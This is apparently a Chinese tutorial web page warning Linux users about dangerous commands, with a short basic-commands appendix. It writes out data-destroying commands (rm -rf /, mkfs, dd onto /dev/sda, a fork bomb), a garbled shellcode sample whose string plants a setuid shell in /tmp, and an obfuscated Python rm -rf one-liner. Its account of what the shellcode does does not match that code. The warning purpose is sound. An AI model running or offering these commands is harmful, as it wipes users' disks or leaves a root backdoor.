學(xué)習(xí)啦 > 學(xué)習(xí)電腦 > 操作系統(tǒng) > Linux教程 >

不可以運(yùn)行的Linux命令有哪些

時(shí)間: 加城1195 分享

  Linux繼承了Unix以網(wǎng)絡(luò)為核心的設(shè)計(jì)思想,是一個(gè)性能穩(wěn)定的多用戶網(wǎng)絡(luò)操作系統(tǒng)。在Linux給你最大程度自由度的同時(shí),也使得破壞系統(tǒng)變得更加容易,其中有些命令可以直接破壞我們系統(tǒng);下面小編就給大家具體講述一下不可以運(yùn)行的Linux命令;一起去看看吧。

  方法步驟

  下面的命令會(huì)刪除你硬盤上的文件,rm 的 -r 遞歸刪除,和 -f 強(qiáng)制刪除是很危險(xiǎn)的選項(xiàng),即使日常操作,也會(huì)遇到誤刪文件的情況。

  sudo rm -rf / 刪除根分區(qū)全部的文件

  sudo rm -rf . 刪除當(dāng)前目錄下的所有文件

  sudo rm -rf * 同上

  rm -rf * or rm -rf *.* 同上

  rm -rf ~ / & 刪除根分區(qū)和家目錄,即使你不是root,家目錄還是不能幸免。

  同樣,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的話,運(yùn)行下面的命令會(huì)擦除你的硬盤分區(qū):

  sudo mkfs.xxxx

  dd 是強(qiáng)大的 IO 輸入輸出定向工具,如果使用不當(dāng),破壞性很大,不僅僅是當(dāng)前分區(qū),當(dāng)前系統(tǒng),有的時(shí)候是整個(gè)硬盤。

  sudo dd if=/dev/zero of=/dev/sda 全部硬盤清零。

  sudo dd if=/dev/sda of=/dev/sdb 用第一塊硬盤的內(nèi)容覆蓋第二塊的內(nèi)容。

  sudo dd if=something of=/dev/sda 往硬盤上寫垃圾數(shù)據(jù)。

  同理,直接把命令結(jié)果定向到硬盤上,相當(dāng)于往硬盤上寫垃圾數(shù)據(jù):

  any_command > /dev/sda 用隨意的數(shù)據(jù)破壞硬盤

  上面的 sda 、sdb 也可能是其他類似的名稱。Linux 的 /dev 系統(tǒng)給操縱硬件提供了很方便和強(qiáng)大的功能,同時(shí)也使得破壞變得更容易。

  fork 命令打開一個(gè)子進(jìn)程,如果把 fork 放在無限循環(huán)中,最終子進(jìn)程會(huì)耗盡所有內(nèi)存資源:

  :(){:|:&};:這段不知所云的符號(hào),可以讓 Shell 不停的 fork 子進(jìn)程,最后導(dǎo)致內(nèi)存耗盡,不得不重啟,這不是 bug,只是 Shell 語句故意寫成簡寫的形式而已。下面的同理:

  fork while fork

  有的時(shí)候,壓縮包也是一個(gè)破壞來源~

  有的壓縮包要求你解壓到某個(gè)系統(tǒng)中已經(jīng)存在的目錄中,這時(shí)候你就要特別小心了,壓縮包里面可能有成千上萬的小文件,以各種文件名嘗試覆蓋你現(xiàn)有的文件。

  有的壓縮包看起來很小,但是解壓出來是上 GB 的垃圾數(shù)據(jù),會(huì)充斥你的硬盤。

  從不正規(guī)網(wǎng)站下載的程序、腳本,同樣會(huì)有包含惡意命令的危險(xiǎn),不可隨便執(zhí)行:

  sh ./some_filesh ./malicious-script

  載腳本要確保來源正規(guī),如果有能力,可以閱讀其代碼。

  即使有源代碼的程序,也不要隨便編譯執(zhí)行:

  char esp[] __attribute__ ((section(".text"))) /* e.s.p

  release */

  = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"

  "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"

  "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"

  "x56x04xf7x56x08xf7x56x0cx83xc4x74x56"

  "x8dx73x08x56x53x54x59xb0x0bxcdx80x31"

  "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"

  "x6ex2fx73x68x00x2dx63x00"

  "cp -p /bin/sh /tmp/.beyond; chmod 4755

  /tmp/.beyond;";

  上面看起來只是一堆沒有意義的 16 進(jìn)制數(shù)據(jù),如果有人告訴你,運(yùn)行這個(gè)程序你就可以不輸入密碼取得系統(tǒng)的 root 權(quán)限,你可不要相信他,上面的程序?qū)嶋H運(yùn)行的是“rm -rf ~ / & ”。

  python 一類的腳本語言,同樣可以拿來搞破壞:

  python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

  這段程序?qū)嶋H上會(huì)執(zhí)行 rm -rf *,也許你很奇怪上面程序結(jié)尾的 “sn!.sg! ” 是什么意思,實(shí)際上就是 rm -rf * 每個(gè)字母的下一個(gè)!

  補(bǔ)充:Linux基本命令

 ?、賚s 意為list 列出當(dāng)前文件夾中的文件

  -l 顯示文件的屬性 可用ll來表示

 ?、赼lias 別名 看看是否有別名的文件

  ③cd dir 跳躍目錄 -P選項(xiàng) 將路徑中的鏈接文件替換成鏈接指向的文件路徑

 ?、躳wd 查看當(dāng)前工作的文件夾名 使用-P的選項(xiàng),會(huì)直接進(jìn)入到其中,相當(dāng)于cd

  相關(guān)閱讀:Linuxshell腳本不執(zhí)行問題實(shí)例分析

  shell腳本不執(zhí)行問題:某天研發(fā)某同事找我說幫他看看他寫的shell腳本,死活不執(zhí)行,報(bào)錯(cuò)。我看了下,腳本很簡單,也沒有常規(guī)性的錯(cuò)誤,報(bào)“:badinterpreter:Nosuchfileordirectory”錯(cuò)??催@錯(cuò),我就問他是不是在windows下編寫的腳本,然后在上傳到linux服務(wù)器的……果然。原因:在DOS/windows里,文本文件的換行符為rn,而在*nix系統(tǒng)里則為n,所以DOS/Windows里編輯過的文本文件到了*nix里,每一行都多了個(gè)^M。解決:

  1)重新在linux下編寫腳本;

  2)vi:%s/r//g:%s/^M//g(^M輸入用Ctrl+v,Ctrl+m)附:sh-x腳本文件名,可以單步執(zhí)行并回顯結(jié)果,有助于排查復(fù)雜腳本問題。


不可以運(yùn)行的Linux命令相關(guān)文章:

1.Linux停止命令繼續(xù)執(zhí)行的方法是什么

2.linux查看執(zhí)行過的所有命令

3.Linux系統(tǒng)不能啟動(dòng)怎么辦

4.linux命令行運(yùn)行matlab

5.linux瀏覽器命令

4016651